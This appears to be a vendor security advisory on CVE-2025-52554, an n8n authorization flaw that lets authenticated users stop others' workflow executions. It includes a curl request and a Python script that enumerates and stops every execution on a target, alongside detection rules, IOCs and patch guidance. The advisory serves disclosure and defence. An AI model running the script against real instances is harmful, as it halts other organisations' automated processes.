CVE-2025-52554

Executive Summary

CVE-2025-52554 is an authorization vulnerability in n8n, a popular workflow automation platform. An authenticated user can stop workflow executions that they do not own or that have not been shared with them. This can lead to business disruption by halting critical automated processes. The vulnerability is present in versions prior to 1.99.1 and has been patched in version 1.99.1. The CVSS score is 0.0 due to incomplete data, but the vulnerability is real and exploitable by authenticated users.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Users should verify the integrity of the package after upgrading. The vulnerability is in the server-side authorization logic, not in a dependency. However, as with any npm package, ensure you are using a trusted registry and verify checksums.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An authenticated user account is needed.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): None (N) - No data is modified.
• Availability (A): Low (L) - The vulnerability can cause a denial of service by stopping executions.

Threat Level: Medium (based on impact to availability). The vulnerability is easy to exploit but requires authentication.

Deep Dive & Mechanics

The vulnerability exists in the /rest/executions/:id/stop endpoint. This endpoint is designed to allow users to stop their own workflow executions. However, due to a missing or insufficient authorization check, an authenticated user can provide any execution ID (including those belonging to other users or shared workflows) and stop the execution.

The core issue is that the server does not verify that the authenticated user has ownership or sharing permissions for the execution before processing the stop request. This is a classic case of Insecure Direct Object Reference (IDOR) combined with missing function-level authorization.

The attack flow is:

1. An attacker authenticates to the n8n instance.
2. The attacker sends a POST request to /rest/executions/<target_execution_id>/stop.
3. The server stops the execution without checking if the attacker has the right to do so.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 1.99.1): The endpoint likely lacked an authorization check. A simplified example:

// Vulnerable: No ownership check
app.post('/rest/executions/:id/stop', async (req, res) => {
    const executionId = req.params.id;
    await stopExecution(executionId);
    res.json({ success: true });
});

Patched Code (1.99.1): The patched version adds an authorization check to ensure the user owns the execution or has been granted access.

// Patched: Ownership check added
app.post('/rest/executions/:id/stop', async (req, res) => {
    const executionId = req.params.id;
    const userId = req.user.id;
    const execution = await getExecution(executionId);
    if (execution.userId !== userId && !hasSharedAccess(execution, userId)) {
        return res.status(403).json({ error: 'Forbidden' });
    }
    await stopExecution(executionId);
    res.json({ success: true });
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an n8n instance (version < 1.99.1).
• Valid user credentials.

Exploitation Steps:

1. Log in to the n8n instance and obtain a session token or cookie.
2. Identify a target execution ID. This can be done by observing the UI or by enumerating execution IDs (e.g., /rest/executions).
3. Send a POST request to stop the execution:

curl -X POST https://target-n8n.com/rest/executions/12345/stop \
  -H "Cookie: n8n-auth=your_session_token"

4. The execution will be stopped, potentially disrupting business workflows.

Automation Script:

import requests

target = "https://target-n8n.com"
session = requests.Session()
session.cookies.set("n8n-auth", "your_session_token")

# Enumerate executions (optional)
executions = session.get(f"{target}/rest/executions").json()
for exec in executions["data"]:
    exec_id = exec["id"]
    # Stop each execution
    r = session.post(f"{target}/rest/executions/{exec_id}/stop")
    print(f"Stopped execution {exec_id}: {r.status_code}")

Blue Team

Detection:

• Monitor logs for repeated POST requests to /rest/executions/*/stop from a single user.
• Alert on a high volume of stop requests within a short time frame.
• Use the detection rules provided below.

Mitigation:

• Apply the patch by upgrading to n8n 1.99.1.
• As a workaround, restrict access to the /rest/executions/:id/stop endpoint via reverse proxy or API gateway. For example, using Nginx:

location ~ ^/rest/executions/[0-9]+/stop$ {
    deny all;
}

• Implement additional logging and monitoring for this endpoint.

Indicators of Compromise (IOCs)

• Network: POST requests to /rest/executions/*/stop with a 200 response for executions not owned by the requester.
• Logs: n8n server logs showing POST /rest/executions/<id>/stop with a user ID that does not match the execution owner.
• Behavior: Unexplained stoppage of workflow executions.

Detection Engineering

YARA Rule

rule CVE_2025_52554_n8n_Stop_Execution_Abuse {
    meta:
        description = "Detects attempts to exploit CVE-2025-52554 by stopping unauthorized executions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52554"
    strings:
        $stop_endpoint = "/rest/executions/" ascii wide nocase
        $stop_action = "/stop" ascii wide nocase
    condition:
        $stop_endpoint and $stop_action
}

Sigma Rule

title: CVE-2025-52554 - Unauthorized Workflow Stop Attempts
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects multiple POST requests to the /rest/executions/*/stop endpoint from a single user, indicating potential exploitation of CVE-2025-52554.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: n8n
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/rest/executions/'
        cs-uri-stem|endswith: '/stop'
    condition: selection
    timeframe: 5m
    aggregation:
        field: c-ip
        condition: gt 10
falsepositives:
    - Legitimate users stopping their own executions (should be rare in bulk)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52554 - n8n Unauthorized Execution Stop"; flow:to_server,established; content:"POST"; http_method; content:"/rest/executions/"; http_uri; content:"/stop"; http_uri; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade n8n to version 1.99.1 or later.
• If upgrade is not possible, restrict access to the /rest/executions/:id/stop endpoint via reverse proxy or API gateway.

Long-term:

• Implement proper authorization checks for all API endpoints.
• Conduct a security audit of the n8n codebase for similar IDOR vulnerabilities.
• Enable detailed logging and monitoring for sensitive operations.

Workaround:

• Use a reverse proxy (e.g., Nginx, Apache) to block access to the vulnerable endpoint:

location ~ ^/rest/executions/[0-9]+/stop$ {
    deny all;
}

Valters IT
Securing Digital Frontiers